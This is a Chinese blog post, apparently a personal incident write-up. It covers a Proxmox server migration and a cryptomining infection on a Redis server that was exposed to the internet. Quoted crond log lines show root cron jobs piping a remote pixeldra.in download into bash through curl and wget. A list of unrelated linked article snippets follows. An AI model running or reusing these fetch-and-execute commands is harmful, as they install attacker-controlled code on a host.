作者:田逸(sery@163.com)

这几天一直忙着往proxmox集群里边迁移服务,进展还是比较顺利。通过整合资源,两个机柜的服务器,下架以后,就剩一个柜子了,后边再迁移一下,还能下架一些旧的配置低的服务器。因为机柜电源的限制,迫不得已还得下架一台有公网ip的旧服务器。为了保证可用性,临时在一台有redis应用的服务器上绑定了一个公网ip。然后开始部署keepalived及haproxy,但搞半天,没把keepalived给安装上,估计是centos版本的问题。确认了一下,就是不安装也不影响业务,就暂时不管它,忙别的事情去了。

四台proxomox组成的集群,加上一台交换机,临时放在另外一个机柜里边。等下架旧服务器后,再把这四台服务器及交换机整合到一个机柜。因此整个下午到夜里,都在折腾这个事情。搬迁的原则是不能停服务,同时担心机器关机可能会导致proxmox集群崩溃。待去机房的兄弟把旧机器下架后,做如下的安排:
(1) 服务器拔掉一根电源线,然后插在目标机柜的插口上。因为是双电源,而且两个机柜是挨着的,只要动作轻柔,可以保证不会断电停机。
(2) 交换机不是双电,一断电集群就可能崩溃。在目标柜子柜子放一交换机,加电。从待搬服务器拔掉一个网线,插到此交换机;接着拔第二台服务器的一根网线,也插过来。于此同时,把另外一口的网线拔掉,观察网络状态。因为proxmox做了网卡绑定(bond),因此这样操作,也不会导致网络中断。

确保网线插别的交换机没问题后,就可以从机架上把服务器不停机进行搬迁。

搬迁完,联系相关人等挨个测试应用,看是否正常,本人也时不时查看集群负载,也没有任何波动,一干人等回家散去,放心睡觉。

今天醒来,一看qq消息,群里闹翻了,说一个重要的下载业务的数据统计不显示。经排查,是一台redis的物理机出故障所致。

赶紧登陆系统,一通排查,卧槽,/tmp目录下有个文件littletrump!看看这个有没有建立起监听.

果然中招!习惯性的查看/etc/passwd、/home目录、crontab等,只有crontab存在麻烦,进行编辑,全是一堆乱码。

用dd键狂删,毫无作用。再用echo> /tmp/ crontab.XXXX* 清空,也没有什么作用。进目录/var/spool/cron/ ,把root等文件直接干掉了事。

那么问题来了,这个恶意Muma是怎么进来的?又是干什么用的呢?

先回答恶意muma是干啥的。根据排查,得到一个域名,用浏览器访问,得到如下页面。

原来是挖矿的,从crond日志可进一步判断,是挖门罗币的。

Sep 28 01:20:01 Cache crond[10825]: (root) CMD (/usr/lib64/sa/sa1 10 60)
Sep 28 01:20:01 Cache crond[10826]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:21:01 Cache crond[11156]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate |
bash)
Sep 28 01:25:01 Cache crond[12391]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:28:02 Cache crond[13532]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate |
bash)
Sep 28 01:30:01 Cache crond[14258]: (root) CMD (/usr/lib64/sa/sa1 10 60)
Sep 28 01:30:01 Cache crond[14259]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:35:01 Cache crond[16051]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:35:01 Cache crond[16054]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate |
bash)
Sep 28 01:40:01 Cache crond[18117]: (root) CMD (/usr/lib64/sa/sa1 10 60)
Sep 28 01:40:01 Cache crond[18118]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash)
Sep 28 01:42:01 Cache crond[18996]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate |
bash)
………………….省略若干……………………….

第二个问题“恶意muma是怎么进来的呢”?是因为redis监听地址是0.0.0.0:6379,我昨天为了做keepalived HA,给网卡绑定了公网地址。有心人一扫描,就发现这个redis版本漏洞,就利于它侵略进来了。

后边的处理就简单了。Proxmox平台部署一套redis,把备份复制过去,恢复。现有的系统干掉,重装系统,另做他用。

更加体系化和实例化的proxmox超融合私有云实践系列文章,请移步本人专栏“人人都能玩的私有云神器-proxmox”,猛戳此处,片刻直达!

一不小心,老司机又翻车了相关推荐

  1. jstack 脚本 自动日志_运维老司机又翻车, 居然没用过日志切割Logrotate

    运维老司机又翻车, 居然没用过日志切割Logrotate 作为一个运维老司机, 这次又翻车了.只能说明一个原因, 就是菜, 所有才要多学习. 说起日志切割, 自己可以说是溜的一批.基本的套路就是在cr ...

  2. 老司机翻车现场 续:技术之外,程序员如何自我保护

    原文链接 昨天两件事:Bing 挂了,老司机收到律师函.前面的事太大,兜不住,所以今天只讲后面这件事. mmoaay 跟我说起这事时,我第一反应是:我靠,不好,卓同学出事了. 然后一副副画面浮现在我眼 ...

  3. 老司机翻车现场:一个业余程序员组织如何收到滴滴的侵权通知?

    本文经授权转自公众号 SwiftOldDriver(ID:RealOldDriver) 事情背景是这样的:我们这群业余 iOS 开发者组成了一个松散的"组织"--老司机周报,从 1 ...

  4. 老司机翻车现场:一个业余程序员组织如何收到滴滴的侵权通知

    老司机周报是一群业余 iOS 开发者组成的一个松散"组织",从 18 年 1月 开始每周会发布一期周报,记录.整理过去一周我们认为优秀的技术文章或者值得关注的新闻.经过一年的成长, ...

  5. 安全圈老司机为什么会在这个游戏里翻车?(内附详细解谜攻略)

    第一波 中秋节这一天,安全圈的小伙伴收到了一封SOBUG寄来的带有警告提醒的复古信件! 这究竟是一场恶作剧还是一封走心的中秋礼物?管不了那么多了,先一起来看看小伙伴们的反应. 拆开之后,都玩大啦! 经 ...

  6. php返回结果判断,老司机在判断返回结果时翻了个身(ThinkPHP)

    "这篇文章属于基本内容.看到它的学生检查他们的代码是否有同样的问题 "序言小q又带着问题来了,今天的问题估计是大多数同志都会犯的问题. 问题是使用ThinkPHP时查询返回的结果是 ...

  7. 电脑一复制粘贴就卡死_油门突然卡死,踩刹车根本没用该怎么办?看看老司机怎么说...

    要知道在驾校中学习到的只是最为基础的汽车驾驶方法,在实际驾车上路后,不只是路况复杂多变得多加留意,车辆本身也有可能出现一些突发状况,处理不当的话就会大大提升事故的发生概率及其后果的严重性,所以平时得尽 ...

  8. AI向程序员老司机学习:从眼神的变化中寻找bug

    晓查 发自 凹非寺  量子位 报道 | 公众号 QbitAI 用AI找bug这件事,有人尝试过,结果翻车了.美国网站Yelp的程序员们试图让AI帮自己找bug,岂料AI却删库跑路,最后只能用回滚的办法 ...

  9. 程序员中的老司机们,30 后的路该开向哪里?----转自程序人生

    我是程序员,也是老司机.我已过而立之年,也还没过而立之年--年纪是到了,却还没有立,不论是立德.立言还是立功.你问我慌不慌,我问你路在何方. 我当程序员数数日子,八年有余,自封老司机也不算太过分,至少 ...

最新文章

  1. Oracle针对SCOTT下EMP表的练习题
  2. 2022互联网大厂薪资大比拼
  3. 【iCore3 双核心板_FPGA】实验二十七:基于SDRAM的TFT驱动器的设计
  4. linux out of memory分析(OOM)
  5. python遍历文件夹下所有文件大小_python遍历文件夹读取文件大小 | 学步园
  6. 信息系统项目管理师-配置管理知识点
  7. C# HttpRequest基础连接已经关闭: 接收时发生意外错误
  8. boost::spirit模块实现使用单个融合序列来生成不同序列中元素的输出的测试程序
  9. oralce group by字符串拼接
  10. 上传 录音_老罗推荐的是最好吗?AI旗舰录音笔对比评测
  11. 用lua实现ByteArray和ByteArrayVarint
  12. C# WPF ASP.net 上传多文件和数据
  13. Python3学习笔记18-访问限制
  14. ADAMS搭建控制系统教程:偏心连杆机构的转速控制
  15. css实现背景图片透明
  16. Python“文字游戏”
  17. Win10 如何显示所有任务栏图标,不进行隐藏
  18. AD18为PCB文件添加LOGO图标
  19. opencv仿射变换:平移,缩放和旋转
  20. 201、无线网桥与无线AP的带机量是多少

热门文章

  1. 操作系统中的用户空间和内核空间
  2. 二:Java+SpringBoot框架使用(返回cookies信息的get接口开发)
  3. python接口自动化(二十)--token登录(详解)
  4. for in for of区别_这个句型中用介词for还是of?来看看解题技巧
  5. Spring Boot项目在GitHub上初始化及控管步骤
  6. python读取指定字节_python读取指定字节及位置的文件内容
  7. 如何给数组赋值java_java怎样给数组赋值
  8. vs code vue 语法提示不全_Vue造轮子必备*.vue文件源码读取并高亮展示
  9. Broken Keyboard (a.k.a. Beiju Text) UVA - 11988 (链表)
  10. webstorm护眼绿柔主题分享(JetBrains都可用)